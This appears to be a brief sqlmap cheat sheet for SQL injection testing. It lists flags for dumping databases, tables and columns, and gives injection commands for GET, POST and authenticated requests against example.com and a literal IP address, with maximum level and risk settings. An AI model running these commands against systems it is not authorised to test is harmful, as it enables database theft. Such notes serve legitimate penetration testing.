💡SQLMAP

sqlmap -r request.txt -p directform — random-agent — level 5 — risk 3 — dbs — threads=10

SQLMAP

// DB data

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

// GET Request Injection

sqlmap -u "http://example.com/?id=1" -p id

// POST Request Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

sqlmap -u 'http://23.239.9.22/xss-post/' --data='param1=blah&param2=blah'

Authenticated calls

If the target uses a session cookie:
sqlmap -u 'http://23.239.9.22/xss-post/' --cookie='JSESSIONID=09h76qoWC559GH1K7DSQHx'

Or if the target uses JWT:
--headers="Authorization: bearer 213325443435ACECD...E32=="

--level=5 --risk=3 
(default risk = 1)